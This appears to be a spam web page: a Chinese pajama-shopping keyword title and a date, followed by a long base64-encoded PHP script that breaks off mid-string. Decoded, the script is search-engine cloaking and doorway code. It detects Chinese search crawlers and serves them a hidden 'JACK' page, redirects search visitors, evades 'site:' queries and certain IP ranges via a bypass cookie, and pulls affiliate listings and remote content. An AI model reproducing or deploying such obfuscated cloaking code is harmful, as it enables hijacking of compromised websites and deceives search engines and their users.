秋天睡衣女 薄款 运动
2016-05-24 15:57:09
ICRrZXlOYW1lID0n56eL5aSp552h6KGj5aWzIOiWhOasviDov5DliqgnOyAKCmZ1bmN0aW9uIEFw cF9HZXRMaW5rKCl7CQoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIu cmFuZCgxMDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgpmdW5jdGlvbiBBcHBfR2V0U2Vs ZigpewoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAw MDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgoKLy/Ct8K1wrvDmMONwrzDhsKsCmZ1bmN0aW9u IGdldEltZygpewoJcmV0dXJuICdodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9pbWcvMjAxNTExMDYv bHEnLnJhbmQoMSwyMCkuIi5qcGciOwp9CgoKCgpmdW5jdGlvbiBybmRTdHIoJGxlbmd0aD04KXsK CSRzdHIgPSBudWxsOwoJJHN0clBvbCA9ICIwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1 dnd4eXoiOwoJJG1heCA9IHN0cmxlbigkc3RyUG9sKS0xOwoJZm9yKCRpPTA7JGk8JGxlbmd0aDsk aSsrKXsKCQkkc3RyLj0kc3RyUG9sW3JhbmQoMCwkbWF4KV07Cgl9CglyZXR1cm4gJHN0cjsKfQoK Y2xhc3MgY29yZUFwcENhY2hlewoJCglwdWJsaWMgZnVuY3Rpb24gd3JpdGUoJGZpbGUsJGZpbGVu YW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLHNlbGY6OmVuY29kZSgk ZmlsZSkpOwoJfQoJcHVibGljIGZ1bmN0aW9uIHdyaXRlbm9jb2RlKCRmaWxlLCRmaWxlbmFtZSl7 CgkJcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwkZmlsZSk7Cgl9CglwdWJsaWMg ZnVuY3Rpb24gcmVhZCgkZmlsZW5hbWUpewoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMo JGZpbGVuYW1lKTsKCQlpZihzdHJpc3RyKCRjb250ZW50LCI8L2V4cGxvZGU+IikpewoJCQkkY29u dGVudCA9IHNlbGY6OmN1dCgkY29udGVudCwiPGV4cGxvZGU+IiwiPC9leHBsb2RlPiIpOwoJCX0K CQlyZXR1cm4gc2VsZjo6ZGVjb2RlKCRjb250ZW50KTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gZW5j b2RlKCRmaWxlKXsKCQlyZXR1cm4gYmFzZTY0X2VuY29kZShnemNvbXByZXNzKHNlcmlhbGl6ZSgk ZmlsZSkpKTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGRlY29kZSgkZmlsZSl7CgkJcmV0dXJuIHVu c2VyaWFsaXplKGd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRmaWxlKSkpOyAKCX0KCQoJcHVi bGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2Rl KCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJ cmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgoKCiRteV9jb250ZW50PScnOwppZighZW1wdHko JGtleU5hbWUpKXsKCSRxdWVyeV9kYXRhID0gYXJyYXkoJ3EnPT4ka2V5TmFtZSwpOwoJJG15X2Fs aW1hbWEgPSBuZXcgYWxpbWFtYSgkcXVlcnlfZGF0YSk7CgkkbXlfYWxpbWFtYS0+cXVlcnkoKTsK CSRteV9jb250ZW50ID0gJG15X2FsaW1hbWEtPmh0bWwoKTsKfQokZGF0YSA9IHN0cl9yZXBsYWNl KCc8cGhwdWw+PC9waHB1bD4nLCRteV9jb250ZW50LCRkYXRhKTsKaWYoc3RycG9zKCRkYXRhLCJb aXRlbTptZW51XSIpIT09IGZhbHNlJiYhZW1wdHkoJGtleU5hbWUpKXsKCSR0YWdfdXJsID0gJ2h0 dHBzOi8vc3VnZ2VzdC50YW9iYW8uY29tL3N1Zz9jb2RlPXV0Zi04JnE9Jy51cmxlbmNvZGUoJGtl eU5hbWUpOwoJJHRhZ19jb250ZW50ID0gYWxpbWFtYTo6SHR0cFZpc2l0KCR0YWdfdXJsKTsKCSR0 YWdfanNvbiA9IGpzb25fZGVjb2RlKCR0YWdfY29udGVudCx0cnVlKTsKCSR0YWdfbWVudSA9ICcn OwoJZm9yZWFjaCAoJHRhZ19qc29uWydyZXN1bHQnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCSRo dHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHBocF9zZWxmID0gJF9TRVJWRVJb J1BIUF9TRUxGJ107CiAJCSR0YWdfaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9z ZWxmLic/a2V5TmFtZT0nLnVybGVuY29kZSgkdmFsdWVbMF0pOwoJCSR0YWdfbWVudSA9ICR0YWdf bWVudS4nPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IicuJHRhZ19pdGVtX3VybC4nIj4nLiR2YWx1 ZVswXS4nPC9hPic7Cgl9CgkkZGF0YSA9IHN0cl9yZXBsYWNlKCdbaXRlbTptZW51XScsJHRhZ19t ZW51LCRkYXRhKTsKfQoKY2xhc3MgYWxpbWFtYXsKCQoJcHVibGljICRzaG93X3NwaWRlcjsKCXB1 YmxpYyAkanVtcF9yZWY7CglwdWJsaWMgJGh0dHBfcmVmX2ZpbHRlcjsKCXB1YmxpYyAkanVtcF91 cmwgPSAiIjsKCXB1YmxpYyAkZG9tYWluID0gIiI7CglwdWJsaWMgJGNvbmRpdGlvbiA9ICIiOwoJ cHVibGljICRhcHBfc2VydmVyID0gIiI7CglwdWJsaWMgJGxvZ19zcGlkZXIgPSAiIjsKCXB1Ymxp YyAkY3VyX3NwaWRlciA9ICIiOwoJcHVibGljICRhbGxvd19pcCA9ICIiOwoJcHVibGljICRpc0Nh Y2hlID0gZmFsc2U7CglwdWJsaWMgJGNyYXdsX3VybCA9ICJodHRwOi8vcHViLmFsaW1hbWEuY29t L2l0ZW1zL3NlYXJjaC5qc29uIjsKCXB1YmxpYyAkcXVlcnlfZGF0YTsKCXB1YmxpYyAkY29udGVu dDsKCglwdWJsaWMgJGxpX3RlbXBsYXRlPSI8bGk+CiAgPGRpdiBjbGFzcz0nbGlfbGlzdCcgb25t b3VzZW92ZXI9J3RoaXMuY2xhc3NOYW1lPSdsaV9ob3ZlcicnIG9ubW91c2VvdXQ9J3RoaXMuY2xh c3NOYW1lPSdsaV9saXN0Jyc+CiAgICA8ZGl2IGNsYXNzPSduZXcnPjwvZGl2PgogICAgPGRpdiBj bGFzcz0nY29sbGVjdCc+PGEgaHJlZj0namF2YXNjcmlwdDo7Jz48L2E+PC9kaXY+CiAgICA8ZGl2 IGNsYXNzPSdwaWMnPjxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+IDxpbWcgc3JjPSd7 cGljdXJsfSc+PC9hPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGl0bGUnPiA8YSBocmVmPSd7dXJs fScgdGFyZ2V0PSdfYmxhbmsnPnt0aXRsZX08L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdtb25l eV9iZyc+IAoJICAgIDxzcGFuPjxlbSBjbGFzcz0nbW9uZXlfc3ltYm9sJz7vv6U8L2VtPjxlbSBj bGFzcz0nbW9uZXlfbnVtJz57cHJpY2V9PC9lbT48L3NwYW4+IAoJICAgIDxzcGFuIGNsYXNzPSdm eF9tb25leV9iZyc+IDxlbSBjbGFzcz0nemhla291IGl0ZW0nIHN0eWxlPSd2aXNpYmlsaXR5OiB2 aXNpYmxlOyc+PGI+e25pY2t9PC9iPjwvZW0+IAoJICAgIDxlbSBjbGFzcz0ncWlhbmdvdSc+PC9l bT4gCiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b21fYmcnPgogICAgICA8ZGl2 IGNsYXNzPSd0anBfYm90dG9tJz4KICAgICAgICA8ZGl2IGNsYXNzPSd0anBfZmFidSBjb2xvcl85 OSc+e3RvdGFsRmVlfTwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF94aWFvYmlhbiBjb2xv cl82Nic+e3RvdGFsTnVtfTwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgogIDwvZGl2Pgo8 L2xpPiAiOwoKCS8v5a6a5LmJ5p6E6YCg5Ye95pWw77yM55So5LqO5Yid5aeL5YyW6LWL5YC8CiAg ICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkcXVlcnlfZGF0YSkKICAgIHsKICAgICAgICAgJHRoaXMt PnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsgICAgICAgIC8v6L+Z6YeM5bey57uP5L2/55So5LqG dGhpc+aMh+mSiOivreWPpeKRoAogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBzZXRRdWVyeURhdGEo JHF1ZXJ5X2RhdGEpewoJCSR0aGlzLT5xdWVyeV9kYXRhID0gJHF1ZXJ5X2RhdGE7CgkJcmV0dXJu IHRydWU7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGh0bWwoKXsKCQkkY29udGVudCA9ICR0aGlzLT5j b250ZW50OwoJCSRhbGltYW1hX2pzb24gPSBqc29uX2RlY29kZSgkY29udGVudCx0cnVlKTsKCQkk aHRtbCA9ICI8dWw+IjsKCQlmb3JlYWNoICgkYWxpbWFtYV9qc29uWydkYXRhJ11bJ3BhZ2VMaXN0 J10gYXMgJGtleSA9PiAkdmFsdWUpIHsKCSAJCSRpdGVtX3VybD0kdmFsdWVbJ2F1Y3Rpb25Vcmwn XTsKCSAJCSRpdGVtX3RpdGxlPSR2YWx1ZVsndGl0bGUnXTsKCSAJCSRpdGVtX3ByaWNlPSR2YWx1 ZVsnemtQcmljZSddOwoJIAkJJGl0ZW1fcGljdFVybD0kdmFsdWVbJ3BpY3RVcmwnXS4nXzQwMHg0 MDBfLndlYnAnOwoJIAkJJGl0ZW1fbmljaz0kdmFsdWVbJ25pY2snXTsKCSAJCSRpdGVtX3RvdGFs TnVtPSfmgLvplIDph486Jy4kdmFsdWVbJ3RvdGFsTnVtJ107CgkgCQkkaXRlbV90b3RhbEZlZT0n 5oC75Lqk5piT6aKdOicuJHZhbHVlWyd0b3RhbEZlZSddOwoKCQkJJGh0dHBfaG9zdCA9ICRfU0VS VkVSWydIVFRQX0hPU1QnXTsKIAkJCSRwaHBfc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwoJ IAkJJGl0ZW1fdXJsPSdodHRwOi8vJy4kaHR0cF9ob3N0LiRwaHBfc2VsZi4nP2dvdHU9Jy5iYXNl NjRfZW5jb2RlKCRpdGVtX3VybCk7CgoJIAkJJGl0ZW1fcGljdFVybD0naHR0cDovL2kua2FudHUu aW4vJy5iYXNlNjRfZW5jb2RlKCRpdGVtX3BpY3RVcmwpOwoKCQkJJGxpID0gJHRoaXMtPmxpX3Rl bXBsYXRlOwoKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0aXRsZX0nLCRpdGVtX3RpdGxlLCRsaSk7 CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cHJpY2V9JywkaXRlbV9wcmljZSwkbGkpOwoJCQkkbGkg PSBzdHJfcmVwbGFjZSgne3VybH0nLCRpdGVtX3VybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFj ZSgne3BpY3VybH0nLCRpdGVtX3BpY3RVcmwsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0 b3RhbE51bX0nLCRpdGVtX3RvdGFsTnVtLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7bmlj a30nLCRpdGVtX25pY2ssJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbEZlZX0nLCRp dGVtX3RvdGFsRmVlLCRsaSk7CgoJCQkkaHRtbCA9ICRodG1sLiRsaTsKCSAJCS8vIGVjaG8gJGxp OwoJIAl9CgkgCSRodG1sID0gJGh0bWwuIjwvdWw+IjsKCQlyZXR1cm4gJGh0bWw7Cgl9CgoJcHVi bGljIGZ1bmN0aW9uIHF1ZXJ5KCl7CgkJJHVybCAgPSAkdGhpcy0+Y3Jhd2xfdXJsLic/Jy5odHRw X2J1aWxkX3F1ZXJ5KCR0aGlzLT5xdWVyeV9kYXRhKTsKCQkkdGhpcy0+Y29udGVudCA9ICR0aGlz LT5IdHRwVmlzaXQoJHVybCk7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIHJ1bigpewoJCSR0aGlzLT5k b21haW4gPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCSR0aGlzLT5qdW1wX3JlZiA9IGV4cGxv ZGUoInwiLCJiYWlkdS58aGFvc28ufGhhb3NvdS58YmluZy58c28ufHNvZ291Lnxzb3NvLiIpOwoJ CSR0aGlzLT5odHRwX3JlZl9maWx0ZXIgPSBleHBsb2RlKCJ8IiwiaW51cmw6fHNpdGU6fHNpdGUl M0F8aW51cmwlM0EiKTsKCQkkdGhpcy0+YWxsb3dfaXAgPSAiMjIyLjE4NC4yMzR8MTEyLjg3Ljcx fDU4LjIyMS44Ny58NDkuNjcuMjIzIjsKCQkkdGhpcy0+Y29uZGl0aW9uID0gKCRfR0VUWydhaWQn XSA+IDEwMDAwMDAwICYmICR0aGlzLT5pc0FsbG93ZElwKCkpOwoJCSR0aGlzLT5hcHBfc2VydmVy ID0gIiI7CgkJJHRoaXMtPmlzQ2FjaGUgID0gRmFsc2U7CgkJaWYoJHRoaXMtPmlzU3BpZGVyKCkg JiYgJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCQlpZigkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCQlp ZigkdGhpcy0+aXNDYWNoZSl7CgkJCQkJCSRyZWxzZXRfaG9zdCA9ICR0aGlzLT5nZXRTZXJ2ZXJO YW1lKCk7CgkJCQkJCSRkaXIgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicgPyAnQzov d2luZG93cy90ZW1wLycgOiAnL3RtcC8nKSAuIHN1YnN0cihtZDUoJHJlbHNldF9ob3N0KSwgMjYp IC4gY2hyKDQ3KTsKCQkJCQkJJGNhY2hlRmlsZSA9ICRkaXIuJ3Nlc3NfJyAuIHN1YnN0cihtZDUo aHR0cF9idWlsZF9xdWVyeSgkX0dFVCkpLCA2KTsKCQkJCQkJaWYoIUBmaWxlX2V4aXN0cygkZGly KSl7CiAgICAgICAgICAgICAJCQkJIG1rZGlyKCRkaXIsIDA3NzcpOwogICAgICAgICAgICAJCQl9 CgkJCQkJCWlmKEBmaWxlX2V4aXN0cygkY2FjaGVGaWxlKSAmJiBAZmlsZXNpemUgKCRjYWNoZUZp bGUpID4gMzIgKXsKCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OnJlYWQoJGNhY2hlRmlsZSk7 CgkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJ CQkJCWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4i fSI7CgkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQl9 CgkJCQkJCQllY2hvICRwYWdlOwoJCQkJCQkJZXhpdCgpOwoJCQkJCQl9CgkJCQkJCWVsc2UKCQkJ CQkJewkKCQkJCQkJCS8vwrDDvMK6wqzCvcO4QVBQwrzCtMK/w4kKCQkJCQkJCSRjdXJyZW50UGFn ZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCQlpZigkY3VycmVudFBhZ2UgJiYg c3RybGVuKCRjdXJyZW50UGFnZSkgPiAzMiAmJiBzdHJpc3RyKCRjdXJyZW50UGFnZSwiPC9leHBs b2RlPiIpKXsKCQkJCQkJCQkkdmFyID0gc2VsZjo6Y3V0KCRjdXJyZW50UGFnZSwiPGV4cGxvZGU+ IiwiPC9leHBsb2RlPiIpOwoJCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OmRlY29kZSgkdmFy KTsKCQkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsK CQkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYpewoJCQkJCQkJCQkkZmxhZyA9ICJ7Ii4k a2V5LiJ9IjsKCQkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJ CQkJCQkJfQoJCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQkJQGNvcmVBcHBDYWNoZTo6d3JpdGVu b2NvZGUoJGN1cnJlbnRQYWdlLCRjYWNoZUZpbGUpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJCWRp ZSgpOwoJCQkJCX0KCQkJCQllbHNlCgkJCQkJewoJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRl KEFQUF9KQUNLX0FQUEZJTEUpOwoJCQkJCQllY2hvICRjdXJyZW50UGFnZTsKCQkJCQkJZGllKCk7 CgkJCQkJfQoJCQkJfQoJCQkJZWxzZQoJCQkJewoKCQkJCQkkdGhpcy0+X3VuY29uZGl0aW9uX2hv b2soKTsKCQkJCX0KCQl9CgkJZWxzZQoJCXsJCgkJCWlmKCR0aGlzLT5pc1JlZigpICYmICR0aGlz LT5jb25kaXRpb24pewoJCQkJJHRoaXMtPkp1bXAoKTsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0 aGlzLT5fdW5TcGlkZXJfaG9vaygpOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc0Fs bG93ZElwKCl7CgkJJGlwID0gJHRoaXMtPmNsaWVudElwKCk7CgkJJG5vbl9saXN0ID0gZXhwbG9k ZSgifCIsJHRoaXMtPmFsbG93X2lwKTsKCQlmb3JlYWNoKCRub25fbGlzdCBhcyAkaXBsaXN0KXsK CQkJaWYoQHN0cmlzdHIoJGlwLCRpcGxpc3QpKXsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0K CQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gY2xpZW50SXAoKXsKCQlpZihnZXRl bnYoJ0hUVFBfQ0xJRU5UX0lQJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQ JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcp OwoJCX0gZWxzZWlmKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSAmJiBzdHJjYXNlY21w KGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5l aXAgPSBnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdS RU1PVEVfQUREUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdSRU1PVEVfQUREUicpLCAndW5rbm93 bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignUkVNT1RFX0FERFInKTsKCQl9IGVsc2VpZihp c3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkgJiYgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10g JiYgc3RyY2FzZWNtcCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJ3Vua25vd24nKSkgewoJCQkk b25saW5laXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCQl9CgkJcHJlZ19tYXRjaCgiL1tc ZFwuXXs3LDE1fS8iLCAkb25saW5laXAsICRvbmxpbmVpcG1hdGNoZXMpOwoJCSRvbmxpbmVpcCA9 ICRvbmxpbmVpcG1hdGNoZXNbMF0gPyAkb25saW5laXBtYXRjaGVzWzBdIDogJ3Vua25vd24nOwoJ CXVuc2V0KCRvbmxpbmVpcG1hdGNoZXMpOwoJCXJldHVybiAkb25saW5laXA7Cgl9CgoJcHVibGlj IGZ1bmN0aW9uIGlzU3BpZGVyKCl7CgkJJGJvdHMgPSBhcnJheSgKCQkJCSdCYWlkdScgICAgICAg ID0+ICdiYWlkdXNwaWRlcicsCgkJCQknU29nb3UnICAgICAgICA9PiAnc29nb3UnLAoJCQkJJ0hh b3NvJyAgICAgICAgPT4gJ2hhb3NvdXNwaWRlcicsCgkJCQknMzYwc3BpZGVyJyAgICAgICAgPT4g JzM2MHNwaWRlcicKCQkgKTsKCQkkdXNlckFnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRU UF9VU0VSX0FHRU5UJ10pOwoJCWZvcmVhY2ggKCRib3RzIGFzICRrID0+ICR2KXsKCQkJaWYgKHN0 cmlzdHIoJHVzZXJBZ2VudCwkdikpewoJCQkJaWYoIWVtcHR5KCR0aGlzLT5sb2dfc3BpZGVyKSl7 CgkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGlzLT5sb2dfc3BpZGVyLCR2LiItPlZpc2l0ZWQg Ii4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uImF0OiAiLmRhdGUoIlktbS1kIEg6aTpzIikuIlxu IixGSUxFX0FQUEVORCk7CgkJCQl9CgkJCQkkdGhpcy0+Y3VyX3NwaWRlciA9ICRrOwoJCQkJcmV0 dXJuIHRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlyZXR1cm4gZmFsc2U7CQoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBpc1JlZigpewoJCSRyZWYgPSBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsnSFRUUF9S RUZFUkVSJ10pOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJkb21haW4tZmlsdGVyLWJ5cGFzcyJdKSl7 CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJCgkJaWYoISR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQlz ZXRjb29raWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7 CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCWZvcmVhY2goJHRoaXMtPmh0dHBfcmVmX2ZpbHRlciBh cyAkcil7CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJc2V0 Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFzcyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJ CQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCgkJZm9yZWFjaCgkdGhpcy0+anVtcF9yZWYgYXMg JHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlpZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXJldHVy biB0cnVlOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXJOYW1lKCkgCgl7 IAoJCSRTZXJ2ZXJOYW1lID0gc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX05BTUUnXT8kX1NF UlZFUlsnU0VSVkVSX05BTUUnXTokX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAKCQlpZiggc3RycG9z KCRTZXJ2ZXJOYW1lLCdodHRwOi8vJykgKSAKCQl7IAoJCQlyZXR1cm4gc3RyX3JlcGxhY2UoJ2h0 dHA6Ly8nLCcnLCRTZXJ2ZXJOYW1lKTsgCgkJfSAKCQlyZXR1cm4gJFNlcnZlck5hbWU7IAoJfQoK CXB1YmxpYyBmdW5jdGlvbiBnZXRQYWdlKCl7CgkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkkY2Fj aGU9ImNhY2hlZCI7CgkJfQoJCSR1cmwgID0gJHRoaXMtPmFwcF9zZXJ2ZXIuIj9kb21haW49Ii4k dGhpcy0+ZG9tYWluLiImZ2lkPTE5OSZzcGlkZXI9Ii4kdGhpcy0+Y3VyX3NwaWRlci4iJmNhY2hl PSIuJGNhY2hlLiImbG9jYWxQYXI9Ii5odHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKTsKCQlyZXR1cm4g JHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsKCX0KCiAgICBwdWJsaWMgZnVuY3Rpb24gSHR0cFZpc2l0 KCR3ZWJ1cmwpIHsKICAgIAkkdXNlcl9hZ2VudCA9ICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJ bnRlbCBNYWMgT1MgWCAxMF8xMF81KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdl Y2tvKSBDaHJvbWUvNDUuMC4yNDU0Ljg1IFNhZmFyaS81MzcuMzYgUVFCcm93c2VyLzMuOS4zOTQz LjQwMCI7CiAgICAgICAgJHJlbW90ZV9kYXRhID0gTlVMTDsKICAgICAgICBpZiAoZnVuY3Rpb25f ZXhpc3RzKCdjdXJsX2V4ZWMnKSkgewogICAgICAgICAgICAkY3VybCA9IEBjdXJsX2luaXQoKTsK ICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHdlYnVybCk7CiAg ICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAg ICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsKICAg ICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsK ICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJf YWdlbnQpOyAKICAgICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGN1cmxfZXhlYygkY3VybCk7CiAg ICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjdXJsKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAg ICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fY29udGV4dF9jcmVhdGUnKSkgewogICAgICAg ICAgICAgICAgJGhlYWRlcl9hcnJheSA9IGFycmF5KCdodHRwJyA9PiBhcnJheSgnbWV0aG9kJyA9 PiAnR0VUJywgJ3RpbWVvdXQnID0+IDMwKSk7CiAgICAgICAgICAgICAgICAkaHR0cF9oZWFkZXIg PSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRoZWFkZXJfYXJyYXkpOwogICAgICAgICAgICAgICAg JHJlbW90ZV9kYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3ZWJ1cmwsIGZhbHNlLCAkaHR0cF9o ZWFkZXIpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHRlbXBfdXJsID0g ZXhwbG9kZSgiLyIsICR3ZWJ1cmwpOwogICAgICAgICAgICAgICAgJG5ld191cmwgPSAkdGVtcF91 cmxbMl07CiAgICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gODA7CiAgICAgICAgICAgICAgICAk Z2V0X2ZpbGUgPSBzdWJzdHIoJHdlYnVybCwgc3RybGVuKCRuZXdfdXJsKSArIDcpOwogICAgICAg ICAgICAgICAgaWYgKHN0cnN0cigkbmV3X3VybCwgY2hyKDU4KSkpIHsKICAgICAgICAgICAgICAg ICAgICAkc192YXJfYXJyYXlbJ3RkJ10gPSBleHBsb2RlKGNocig1OCksICRuZXdfdXJsKTsKICAg ICAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICRzX3Zhcl9hcnJheVsndGQnXVswXTsKICAgICAg ICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gJHNfdmFyX2FycmF5Wyd0ZCddWzFdOwogICAgICAg ICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZzb2NrX3Jlc3VsdCA9IEBmc29ja29wZW4oJG5l d191cmwsICRodHRwX3BvcnQpOwogICAgICAgICAgICAgICAgQGZwdXRzKCRmc29ja19yZXN1bHQs ICdHRVQgJyAuICRnZXRfZmlsZSAuICcgSFRUUC8xLjEnIC4gIlxyXG4iIC4gJ0hvc3Q6JyAuICRu ZXdfdXJsIC4gIlxyXG4iIC4gJ0Nvbm5lY3Rpb246Q2xvc2UnIC4gIlxyXG5cclxuIik7CiAgICAg ICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGZzb2NrX3Jlc3VsdCkpIHsKICAgICAgICAgICAgICAg ICAgICAkcmVtb3RlX2RhdGEgLj0gZmdldHMoJGZzb2NrX3Jlc3VsdCwgMTAyNCk7CiAgICAgICAg ICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmc29ja19yZXN1bHQpOwogICAgICAg ICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVtb3RlX2RhdGE7CiAgICB9CgoJcHVi 